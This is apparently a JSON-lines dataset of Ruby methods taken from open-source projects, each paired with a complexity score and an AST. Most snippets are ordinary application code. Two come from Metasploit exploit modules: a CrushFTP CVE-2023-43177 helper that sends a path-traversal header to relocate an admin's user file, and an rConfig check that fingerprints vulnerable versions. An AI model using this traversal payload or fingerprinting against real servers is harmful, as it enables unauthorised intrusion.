{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/postgres_autovacuum_activity.rb","start_line":33,"raw_source":"def execute_in_primary_scope(&block)\n          Gitlab::Database::LoadBalancing::SessionMap\n            .current(load_balancer)\n            .use_primary(&block)\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_in_primary_scope\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"LoadBalancing\"]},\"SessionMap\"]},\"current\",{\"type\":\"send\",\"children\":[null,\"load_balancer\"]}]},\"use_primary\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"fee714da-e88d-44d4-955c-61ec3f9aeb79"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/placeholder_users_controller.rb","start_line":44,"raw_source":"def index\n    @placeholder_users = PlaceholderUsers::PlaceholderUserFilterComponent.query params\n\n    respond_to do |format|\n      format.html do\n        render layout: !request.xhr?\n      end\n    end\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@placeholder_users\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PlaceholderUsers\"]},\"PlaceholderUserFilterComponent\"]},\"query\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"xhr?\"]},\"!\"]}]}]}]}]}]}]}]}","id":"a9180c76-1e0f-4236-bc73-bbc569641023"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/o_auth/oauth_resource_owner_redirect_resolver.rb","start_line":11,"raw_source":"def initialize(request, session)\n          @request = request\n          @session = session\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@session\",{\"type\":\"lvar\",\"children\":[\"session\"]}]}]}]}","id":"f45d48a5-076e-40ea-bd59-ff7c95b5b2f0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/web_ide/vscode.rb","start_line":69,"raw_source":"def has_opened_file?(file_name)\n            within_vscode_editor do\n              within_element('.monaco-scrollable-element > .tabs-container') do\n                has_element?(\"div[data-resource-name='#{file_name}'][aria-selected='true']\")\n              end\n            end\n          end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_opened_file?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_vscode_editor\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\".monaco-scrollable-element > .tabs-container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"div[data-resource-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\"'][aria-selected='true']\"]}]}]}]}]}]}","id":"6e88040b-cf25-400c-997f-30c2765f2f44"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/linux/priv.rb","start_line":86,"raw_source":"def seq(first, increment, last)\n          result = []\n          (first..last).step(increment) do |i|\n            result.insert(-1, i)\n          end\n          return result\n        end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"seq\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"first\"]},{\"type\":\"arg\",\"children\":[\"increment\"]},{\"type\":\"arg\",\"children\":[\"last\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first\"]},{\"type\":\"lvar\",\"children\":[\"last\"]}]}]},\"step\",{\"type\":\"lvar\",\"children\":[\"increment\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"insert\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"e48bca1b-3899-45e6-96e5-7e80481e02e6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/crushftp_rce_cve_2023_43177.rb","start_line":371,"raw_source":"def move_user_xml(admin_username, writable_dir)\n    headers = {\n      'filename' => '/',\n      'user_protocol_proxy' => rand_text_hex(8),\n      'user_log_file' => 'user.XML',\n      'user_log_path' => \"./../../../../../../../../../../../../../../..#{writable_dir}\",\n      'user_log_path_custom' => \"./users/MainUsers/#{admin_username}/\"\n    }\n    send_as2_query_api(headers)\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"move_user_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"admin_username\"]},{\"type\":\"arg\",\"children\":[\"writable_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"filename\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_protocol_proxy\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_hex\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_log_file\"]},{\"type\":\"str\",\"children\":[\"user.XML\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_log_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"./../../../../../../../../../../../../../../..\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"writable_dir\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_log_path_custom\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"./users/MainUsers/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_username\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_as2_query_api\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}","id":"d8c5129c-fea3-4966-971d-9e0dc01e5a13"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20181116184611_copy_account_stats_cleanup.rb","start_line":6,"raw_source":"def change\n    safety_assured do\n      remove_column :accounts, :statuses_count, :integer, default: 0, null: false\n      remove_column :accounts, :following_count, :integer, default: 0, null: false\n      remove_column :accounts, :followers_count, :integer, default: 0, null: false\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"sym\",\"children\":[\"statuses_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"sym\",\"children\":[\"following_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"sym\",\"children\":[\"followers_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"6ea1f593-eca0-4f75-aa54-e4397ca4047f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/select_by_regexp.rb","start_line":125,"raw_source":"def register_offense(node, block_node, regexp, replacement)\n          message = format(MSG, replacement: replacement, original_method: node.method_name)\n\n          add_offense(block_node, message: message) do |corrector|\n            # Only correct if it can be determined what the regexp is\n            if regexp\n              range = range_between(node.loc.selector.begin_pos, block_node.loc.end.end_pos)\n              corrector.replace(range, \"#{replacement}(#{regexp.source})\")\n            end\n          end\n        end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"register_offense\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"block_node\"]},{\"type\":\"arg\",\"children\":[\"regexp\"]},{\"type\":\"arg\",\"children\":[\"replacement\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replacement\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"block_node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]},\"begin_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"loc\"]},\"end\"]},\"end_pos\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"replacement\"]}]},{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},null]}]}]}]}","id":"3a06bd94-ad8f-4936-95f8-2ca0bdbc15df"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/custom_field_context.rb","start_line":41,"raw_source":"def custom_fields(_context)\n      custom_field_class.visible\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field_class\"]},\"visible\"]}]}","id":"df77489a-fbef-4659-b229-464669c3437f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/sexp.rb","start_line":80,"raw_source":"def test_method_call_set_method\n    exp = parse \"x.y\"\n\n    assert_equal :y, exp.method\n    \n    exp.method = :z\n\n    assert_equal :z, exp.method\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_method_call_set_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exp\",{\"type\":\"send\",\"children\":[null,\"parse\",{\"type\":\"str\",\"children\":[\"x.y\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method=\",{\"type\":\"sym\",\"children\":[\"z\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"z\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]}]}]}]}","id":"3f85e42b-e0e6-4241-9e6d-dd0fcc6dd259"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report.rb","start_line":78,"raw_source":"def to_sonar\n    require_report 'sonar'\n    generate Brakeman::Report::Sonar\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_sonar\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_report\",{\"type\":\"str\",\"children\":[\"sonar\"]}]},{\"type\":\"send\",\"children\":[null,\"generate\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Report\"]},\"Sonar\"]}]}]}]}","id":"494dbbfd-d4c4-4836-b7ca-a7fcdba4809b"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/model/info.rb","start_line":37,"raw_source":"def supports?(capability)\n        capabilities.include?(capability.to_s)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"supports?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"capability\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capabilities\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capability\"]},\"to_s\"]}]}]}","id":"2d5e1bd7-9a76-4cbb-9712-78a4f8768bdd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ssh/server.rb","start_line":115,"raw_source":"def stop\n    self.listener.stop\n    self.listener.close\n    self.clients = []\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener\"]},\"stop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clients=\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"d401196d-3503-4ba2-bcc7-720174a056d8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/rconfig_vendors_auth_file_upload_rce.rb","start_line":98,"raw_source":"def check\n    r = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'login.php')\n    })\n\n    if r&.code == 200\n\n      version = r.body.to_s.match(/Version (\\d*.\\d*.\\d*)/)\n      if version && version[1]\n        print_good(version[1] + ' of rConfig found !')\n        unless Rex::Version.new(version[1]) <= Rex::Version.new('3.9.6')\n          return CheckCode::Detected('Only versions <= 3.9.6 are vulnerable !')\n        end\n\n        return CheckCode::Appears('Vulnerable version of rConfig found !')\n      else\n        return CheckCode::Safe('Version of rConfig not found !')\n      end\n    else\n      CheckCode::Unknown(\"Can't access the rConfig web interface !\")\n    end\n  end","complexity_score":38.08,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"login.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"body\"]},\"to_s\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Version (\\\\d*.\\\\d*.\\\\d*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"+\",{\"type\":\"str\",\"children\":[\" of rConfig found !\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.9.6\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Only versions <= 3.9.6 are vulnerable !\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"str\",\"children\":[\"Vulnerable version of rConfig found !\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Version of rConfig not found !\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Can't access the rConfig web interface !\"]}]}]}]}]}","id":"4e456d29-db26-4c28-a90f-7d15d1432ea0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/preloader.rb","start_line":120,"raw_source":"def call\n        Batch.new([self], available_records: @available_records).call\n\n        loaders\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Batch\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"self\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"available_records\"]},{\"type\":\"ivar\",\"children\":[\"@available_records\"]}]}]}]},\"call\"]},{\"type\":\"send\",\"children\":[null,\"loaders\"]}]}]}","id":"c8d99ab8-675f-49e5-96dc-2ca397756f65"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/tag_group.rb","start_line":46,"raw_source":"def permissions=(permissions)\n    @permissions = TagGroup.resolve_permissions(permissions)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"permissions=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"permissions\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@permissions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagGroup\"]},\"resolve_permissions\",{\"type\":\"lvar\",\"children\":[\"permissions\"]}]}]}]}","id":"1f649498-aaf1-42f7-a95c-78f3d57a7dbf"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/email_domain_block.rb","start_line":66,"raw_source":"def domains_with_variants\n      @uris.flat_map do |uri|\n        next if uri.nil?\n\n        segments = uri.normalized_host.split('.')\n\n        segments.map.with_index { |_, i| segments[i..].join('.') }\n      end\n    end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"domains_with_variants\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@uris\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"segments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"normalized_host\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segments\"]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segments\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},null]}]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}]}","id":"5fd2b440-87fe-4e59-bde0-0c5146924236"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/notify_preview.rb","start_line":313,"raw_source":"def new_email_address_added_email\n    Notify.new_email_address_added_email(user, 'someone@gitlab.com').message\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"new_email_address_added_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notify\"]},\"new_email_address_added_email\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"str\",\"children\":[\"someone@gitlab.com\"]}]},\"message\"]}]}","id":"640e8318-4c62-4c2b-a5a6-aa3279db35cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/fix_usernamespace_audit_events.rb","start_line":14,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          min_created_at, max_created_at = sub_batch.pick(Arel.sql('MIN(created_at), MAX(created_at)'))\n\n          audit_events = sub_batch.where(entity_type: \"Namespaces::UserNamespace\")\n                                  .where(created_at: min_created_at..max_created_at)\n\n          events = audit_events.pluck(:id, :created_at, :author_id, :target_id, :details, :ip_address,\n            :author_name, :entity_path, :target_details, :target_type)\n\n          insert_instance_audit_events(events)\n\n          audit_events.update_all(entity_type: \"Gitlab::Audit::InstanceScope\", entity_id: 1)\n        end\n      end","complexity_score":17.15,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"min_created_at\"]},{\"type\":\"lvasgn\",\"children\":[\"max_created_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"pick\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"MIN(created_at), MAX(created_at)\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"audit_events\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_type\"]},{\"type\":\"str\",\"children\":[\"Namespaces::UserNamespace\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min_created_at\"]},{\"type\":\"lvar\",\"children\":[\"max_created_at\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"audit_events\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"sym\",\"children\":[\"ip_address\"]},{\"type\":\"sym\",\"children\":[\"author_name\"]},{\"type\":\"sym\",\"children\":[\"entity_path\"]},{\"type\":\"sym\",\"children\":[\"target_details\"]},{\"type\":\"sym\",\"children\":[\"target_type\"]}]}]},{\"type\":\"send\",\"children\":[null,\"insert_instance_audit_events\",{\"type\":\"lvar\",\"children\":[\"events\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"audit_events\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_type\"]},{\"type\":\"str\",\"children\":[\"Gitlab::Audit::InstanceScope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"86b1c1c5-cd86-4443-9f08-bf6a15811924"}
